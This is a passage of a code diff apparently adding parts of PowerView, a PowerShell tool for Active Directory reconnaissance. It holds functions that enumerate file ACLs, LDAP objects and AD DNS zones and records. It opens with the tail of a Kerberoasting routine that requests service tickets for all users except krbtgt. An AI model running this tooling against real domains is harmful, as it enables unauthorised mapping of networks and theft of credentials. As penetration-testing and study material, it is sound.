PROCESS { + if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity } + Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-PathAcl { +<# +.SYNOPSIS + +Enumerates the ACL for a given file path. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID + +.DESCRIPTION + +Enumerates the ACL for a specified file/folder path, and translates +the access rules for each entry into readable formats. If -Credential is passed, +Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share. + +.PARAMETER Path + +Specifies the local or remote path to enumerate the ACLs for. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target path. + +.EXAMPLE + +Get-PathAcl "\\SERVER\Share\" + +Returns ACLs for the given UNC share. + +.EXAMPLE + +gci .\test.txt | Get-PathAcl + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +Get-PathAcl -Path "\\SERVER\Share\" -Credential $Cred + +.INPUTS + +String + +One of more paths to enumerate ACLs for. + +.OUTPUTS + +PowerView.FileACL + +A custom object with the full path and associated ACL entries. + +.LINK + +https://support.microsoft.com/en-us/kb/305144 +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.FileACL')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('FullName')] + [String[]] + $Path, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + + function Convert-FileRight { + # From Ansgar Wiechers at http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights + [CmdletBinding()] + Param( + [Int] + $FSR + ) + + $AccessMask = @{ + [uint32]'0x80000000' = 'GenericRead' + [uint32]'0x40000000' = 'GenericWrite' + [uint32]'0x20000000' = 'GenericExecute' + [uint32]'0x10000000' = 'GenericAll' + [uint32]'0x02000000' = 'MaximumAllowed' + [uint32]'0x01000000' = 'AccessSystemSecurity' + [uint32]'0x00100000' = 'Synchronize' + [uint32]'0x00080000' = 'WriteOwner' + [uint32]'0x00040000' = 'WriteDAC' + [uint32]'0x00020000' = 'ReadControl' + [uint32]'0x00010000' = 'Delete' + [uint32]'0x00000100' = 'WriteAttributes' + [uint32]'0x00000080' = 'ReadAttributes' + [uint32]'0x00000040' = 'DeleteChild' + [uint32]'0x00000020' = 'Execute/Traverse' + [uint32]'0x00000010' = 'WriteExtendedAttributes' + [uint32]'0x00000008' = 'ReadExtendedAttributes' + [uint32]'0x00000004' = 'AppendData/AddSubdirectory' + [uint32]'0x00000002' = 'WriteData/AddFile' + [uint32]'0x00000001' = 'ReadData/ListDirectory' + } + + $SimplePermissions = @{ + [uint32]'0x1f01ff' = 'FullControl' + [uint32]'0x0301bf' = 'Modify' + [uint32]'0x0200a9' = 'ReadAndExecute' + [uint32]'0x02019f' = 'ReadAndWrite' + [uint32]'0x020089' = 'Read' + [uint32]'0x000116' = 'Write' + } + + $Permissions = @() + + # get simple permission + $Permissions += $SimplePermissions.Keys | ForEach-Object { + if (($FSR -band $_) -eq $_) { + $SimplePermissions[$_] + $FSR = $FSR -band (-not $_) + } + } + + # get remaining extended permissions + $Permissions += $AccessMask.Keys | Where-Object { $FSR -band $_ } | ForEach-Object { $AccessMask[$_] } + ($Permissions | Where-Object {$_}) -join ',' + } + + $ConvertArguments = @{} + if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } + + $MappedComputers = @{} + } + + PROCESS { + ForEach ($TargetPath in $Path) { + try { + if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $HostComputer = (New-Object System.Uri($TargetPath)).Host + if (-not $MappedComputers[$HostComputer]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential + $MappedComputers[$HostComputer] = $True + } + } + + $ACL = Get-Acl -Path $TargetPath + + $ACL.GetAccessRules($True, $True, [System.Security.Principal.SecurityIdentifier]) | ForEach-Object { + $SID = $_.IdentityReference.Value + $Name = ConvertFrom-SID -ObjectSID $SID @ConvertArguments + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'Path' $TargetPath + $Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__) + $Out | Add-Member Noteproperty 'IdentityReference' $Name + $Out | Add-Member Noteproperty 'IdentitySID' $SID + $Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType + $Out.PSObject.TypeNames.Insert(0, 'PowerView.FileACL') + $Out + } + } + catch { + Write-Verbose "[Get-PathAcl] error: $_" + } + } + } + + END { + # remove the IPC$ mappings + $MappedComputers.Keys | Remove-RemoteConnection + } +} + + +function Convert-LDAPProperty { +<# +.SYNOPSIS + +Helper that converts specific LDAP property result fields and outputs +a custom psobject. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Converts a set of raw LDAP properties results from ADSI/LDAP searches +into a proper PSObject. Used by several of the Get-Domain* function. + +.PARAMETER Properties + +Properties object to extract out LDAP fields for display. + +.OUTPUTS + +System.Management.Automation.PSCustomObject + +A custom PSObject with LDAP hashtable properties translated. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + $Properties + ) + + $ObjectProperties = @{} + + $Properties.PropertyNames | ForEach-Object { + if ($_ -ne 'adspath') { + if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) { + # convert all listed sids (i.e. if multiple are listed in sidHistory) + $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value } + } + elseif ($_ -eq 'grouptype') { + $ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum + } + elseif ($_ -eq 'samaccounttype') { + $ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum + } + elseif ($_ -eq 'objectguid') { + # convert the GUID to a string + $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid + } + elseif ($_ -eq 'useraccountcontrol') { + $ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum + } + elseif ($_ -eq 'ntsecuritydescriptor') { + # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 + $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 + if ($Descriptor.Owner) { + $ObjectProperties['Owner'] = $Descriptor.Owner + } + if ($Descriptor.Group) { + $ObjectProperties['Group'] = $Descriptor.Group + } + if ($Descriptor.DiscretionaryAcl) { + $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl + } + if ($Descriptor.SystemAcl) { + $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl + } + } + elseif ($_ -eq 'accountexpires') { + if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) { + $ObjectProperties[$_] = "NEVER" + } + else { + $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0]) + } + } + elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { + # convert timestamps + if ($Properties[$_][0] -is [System.MarshalByRefObject]) { + # if we have a System.__ComObject + $Temp = $Properties[$_][0] + [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) + } + else { + # otherwise just a string + $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) + } + } + elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) { + # try to convert misc com objects + $Prop = $Properties[$_] + try { + $Temp = $Prop[$_][0] + [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) + } + catch { + Write-Verbose "[Convert-LDAPProperty] error: $_" + $ObjectProperties[$_] = $Prop[$_] + } + } + elseif ($Properties[$_].count -eq 1) { + $ObjectProperties[$_] = $Properties[$_][0] + } + else { + $ObjectProperties[$_] = $Properties[$_] + } + } + } + try { + New-Object -TypeName PSObject -Property $ObjectProperties + } + catch { + Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_" + } +} + + +######################################################## +# +# Domain info functions below. +# +######################################################## + +function Get-DomainSearcher { +<# +.SYNOPSIS + +Helper used by various functions that builds a custom AD searcher object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain + +.DESCRIPTION + +Takes a given domain and a number of customizations and returns a +System.DirectoryServices.DirectorySearcher object. This function is used +heavily by other LDAP/ADSI searcher functions (Verb-Domain*). + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER SearchBasePrefix + +Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration"). + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the search. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainSearcher -Domain testlab.local + +Return a searcher for all objects in testlab.local. + +.EXAMPLE + +Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon' + +Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties. + +.EXAMPLE + +Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" + +Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU). + +.OUTPUTS + +System.DirectoryServices.DirectorySearcher +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.DirectoryServices.DirectorySearcher')] + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [String] + $SearchBasePrefix, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit = 120, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + if ($PSBoundParameters['Domain']) { + $TargetDomain = $Domain + + if ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) { + # see if we can grab the user DNS logon domain from environment variables + $UserDomain = $ENV:USERDNSDOMAIN + if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $UserDomain) { + $BindServer = "$($ENV:LOGONSERVER -replace '\\','').$UserDomain" + } + } + } + elseif ($PSBoundParameters['Credential']) { + # if not -Domain is specified, but -Credential is, try to retrieve the current domain name with Get-Domain + $DomainObject = Get-Domain -Credential $Credential + $BindServer = ($DomainObject.PdcRoleOwner).Name + $TargetDomain = $DomainObject.Name + } + elseif ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) { + # see if we can grab the user DNS logon domain from environment variables + $TargetDomain = $ENV:USERDNSDOMAIN + if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $TargetDomain) { + $BindServer = "$($ENV:LOGONSERVER -replace '\\','').$TargetDomain" + } + } + else { + # otherwise, resort to Get-Domain to retrieve the current domain object + write-verbose "get-domain" + $DomainObject = Get-Domain + $BindServer = ($DomainObject.PdcRoleOwner).Name + $TargetDomain = $DomainObject.Name + } + + if ($PSBoundParameters['Server']) { + # if there's not a specified server to bind to, try to pull a logon server from ENV variables + $BindServer = $Server + } + + $SearchString = 'LDAP://' + + if ($BindServer -and ($BindServer.Trim() -ne '')) { + $SearchString += $BindServer + if ($TargetDomain) { + $SearchString += '/' + } + } + + if ($PSBoundParameters['SearchBasePrefix']) { + $SearchString += $SearchBasePrefix + ',' + } + + if ($PSBoundParameters['SearchBase']) { + if ($SearchBase -Match '^GC://') { + # if we're searching the global catalog, get the path in the right format + $DN = $SearchBase.ToUpper().Trim('/') + $SearchString = '' + } + else { + if ($SearchBase -match '^LDAP://') { + if ($SearchBase -match "LDAP://.+/.+") { + $SearchString = '' + $DN = $SearchBase + } + else { + $DN = $SearchBase.SubString(7) + } + } + else { + $DN = $SearchBase + } + } + } + else { + # transform the target domain name into a distinguishedName if an ADS search base is not specified + if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) { + $DN = "DC=$($TargetDomain.Replace('.', ',DC='))" + } + } + + $SearchString += $DN + Write-Verbose "[Get-DomainSearcher] search base: $SearchString" + + if ($Credential -ne [Management.Automation.PSCredential]::Empty) { + Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection" + # bind to the inital search object using alternate credentials + $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) + $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) + } + else { + # bind to the inital object using the current credentials + $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) + } + + $Searcher.PageSize = $ResultPageSize + $Searcher.SearchScope = $SearchScope + $Searcher.CacheResults = $False + $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All + + if ($PSBoundParameters['ServerTimeLimit']) { + $Searcher.ServerTimeLimit = $ServerTimeLimit + } + + if ($PSBoundParameters['Tombstone']) { + $Searcher.Tombstone = $True + } + + if ($PSBoundParameters['LDAPFilter']) { + $Searcher.filter = $LDAPFilter + } + + if ($PSBoundParameters['SecurityMasks']) { + $Searcher.SecurityMasks = Switch ($SecurityMasks) { + 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl } + 'Group' { [System.DirectoryServices.SecurityMasks]::Group } + 'None' { [System.DirectoryServices.SecurityMasks]::None } + 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner } + 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl } + } + } + + if ($PSBoundParameters['Properties']) { + # handle an array of properties to load w/ the possibility of comma-separated strings + $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') } + $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad)) + } + + $Searcher + } +} + + +function Convert-DNSRecord { +<# +.SYNOPSIS + +Helpers that decodes a binary DNS record blob. + +Author: Michael B. Smith, Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Decodes a binary blob representing an Active Directory DNS entry. +Used by Get-DomainDNSRecord. + +Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 + +.PARAMETER DNSRecord + +A byte array representing the DNS record. + +.OUTPUTS + +System.Management.Automation.PSCustomObject + +Outputs custom PSObjects with detailed information about the DNS record entry. + +.LINK + +https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 +#> + + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [Byte[]] + $DNSRecord + ) + + BEGIN { + function Get-Name { + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseOutputTypeCorrectly', '')] + [CmdletBinding()] + Param( + [Byte[]] + $Raw + ) + + [Int]$Length = $Raw[0] + [Int]$Segments = $Raw[1] + [Int]$Index = 2 + [String]$Name = '' + + while ($Segments-- -gt 0) + { + [Int]$SegmentLength = $Raw[$Index++] + while ($SegmentLength-- -gt 0) { + $Name += [Char]$Raw[$Index++] + } + $Name += "." + } + $Name + } + } + + PROCESS { + # $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0) + $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2) + $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8) + + $TTLRaw = $DNSRecord[12..15] + + # reverse for big endian + $Null = [array]::Reverse($TTLRaw) + $TTL = [BitConverter]::ToUInt32($TTLRaw, 0) + + $Age = [BitConverter]::ToUInt32($DNSRecord, 20) + if ($Age -ne 0) { + $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString() + } + else { + $TimeStamp = '[static]' + } + + $DNSRecordObject = New-Object PSObject + + if ($RDataType -eq 1) { + $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27] + $Data = $IP + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A' + } + + elseif ($RDataType -eq 2) { + $NSName = Get-Name $DNSRecord[24..$DNSRecord.length] + $Data = $NSName + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS' + } + + elseif ($RDataType -eq 5) { + $Alias = Get-Name $DNSRecord[24..$DNSRecord.length] + $Data = $Alias + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME' + } + + elseif ($RDataType -eq 6) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA' + } + + elseif ($RDataType -eq 12) { + $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length] + $Data = $Ptr + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR' + } + + elseif ($RDataType -eq 13) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO' + } + + elseif ($RDataType -eq 15) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX' + } + + elseif ($RDataType -eq 16) { + [string]$TXT = '' + [int]$SegmentLength = $DNSRecord[24] + $Index = 25 + + while ($SegmentLength-- -gt 0) { + $TXT += [char]$DNSRecord[$index++] + } + + $Data = $TXT + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT' + } + + elseif ($RDataType -eq 28) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA' + } + + elseif ($RDataType -eq 33) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV' + } + + else { + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN' + } + + $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial + $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL + $DNSRecordObject | Add-Member Noteproperty 'Age' $Age + $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp + $DNSRecordObject | Add-Member Noteproperty 'Data' $Data + $DNSRecordObject + } +} + + +function Get-DomainDNSZone { +<# +.SYNOPSIS + +Enumerates the Active Directory DNS zones for a given domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +.PARAMETER Domain + +The domain to query for zones, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the search. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainDNSZone + +Retrieves the DNS zones for the current domain. + +.EXAMPLE + +Get-DomainDNSZone -Domain dev.testlab.local -Server primary.testlab.local + +Retrieves the DNS zones for the dev.testlab.local domain, binding to primary.testlab.local. + +.OUTPUTS + +PowerView.DNSZone + +Outputs custom PSObjects with detailed information about the DNS zone. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.DNSZone')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $SearcherArguments = @{ + 'LDAPFilter' = '(objectClass=dnsZone)' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $DNSSearcher1 = Get-DomainSearcher @SearcherArguments + + if ($DNSSearcher1) { + if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher1.FindOne() } + else { $Results = $DNSSearcher1.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + $Out = Convert-LDAPProperty -Properties $_.Properties + $Out | Add-Member NoteProperty 'ZoneName' $Out.name + $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone') + $Out + } + + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_" + } + } + $DNSSearcher1.dispose() + } + + $SearcherArguments['SearchBasePrefix'] = 'CN=MicrosoftDNS,DC=DomainDnsZones' + $DNSSearcher2 = Get-DomainSearcher @SearcherArguments + + if ($DNSSearcher2) { + try { + if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher2.FindOne() } + else { $Results = $DNSSearcher2.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + $Out = Convert-LDAPProperty -Properties $_.Properties + $Out | Add-Member NoteProperty 'ZoneName' $Out.name + $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone') + $Out + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDNSZone] Error disposing of the Results object: $_" + } + } + } + catch { + Write-Verbose "[Get-DomainDNSZone] Error accessing 'CN=MicrosoftDNS,DC=DomainDnsZones'" + } + $DNSSearcher2.dispose() + } + } +} + + +function Get-DomainDNSRecord { +<# +.SYNOPSIS + +Enumerates the Active Directory DNS records for a given zone. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-DNSRecord + +.DESCRIPTION + +Given a specific Active Directory DNS zone name, query for all 'dnsNode' +LDAP entries using that zone as the search base. Return all DNS entry results +and use Convert-DNSRecord to try to convert the binary DNS record blobs. + +.PARAMETER ZoneName + +Specifies the zone to query for records (which can be enumearted with Get-DomainDNSZone). + +.PARAMETER Domain + +The domain to query for zones, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the search. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainDNSRecord -ZoneName testlab.local + +Retrieve all records for the testlab.local zone. + +.EXAMPLE + +Get-DomainDNSZone | Get-DomainDNSRecord + +Retrieve all records for all zones in the current domain. + +.EXAMPLE + +Get-DomainDNSZone -Domain dev.testlab.local | Get-DomainDNSRecord -Domain dev.testlab.local + +Retrieve all records for all zones in the dev.testlab.local domain. + +.OUTPUTS + +PowerView.DNSRecord + +Outputs custom PSObjects with detailed information about the DNS record entry. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.DNSRecord')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [String] + $ZoneName, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties = 'name,distinguishedname,dnsrecord,whencreated,whenchanged', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $SearcherArguments = @{ + 'LDAPFilter' = '(objectClass=dnsNode)' + 'SearchBasePrefix' = "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones" + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $DNSSearcher = Get-DomainSearcher @SearcherArguments + + if ($DNSSearcher) { + if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher.FindOne() } + else { $Results = $DNSSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + try { + $Out = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged + $Out | Add-Member NoteProperty 'ZoneName' $ZoneName + + # convert the record and extract the properties + if ($Out.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) { + # TODO: handle multiple nested records properly? + $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord[0] + } + else { + $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord + } + + if ($Record) { + $Record.PSObject.Properties | ForEach-Object { + $Out | Add-Member NoteProperty $_.Name $_.Value + } + } + + $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSRecord') + $Out + } + catch { + Write-Warning "[Get-DomainDNSRecord] Error: $_" + $Out + } + } + + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose 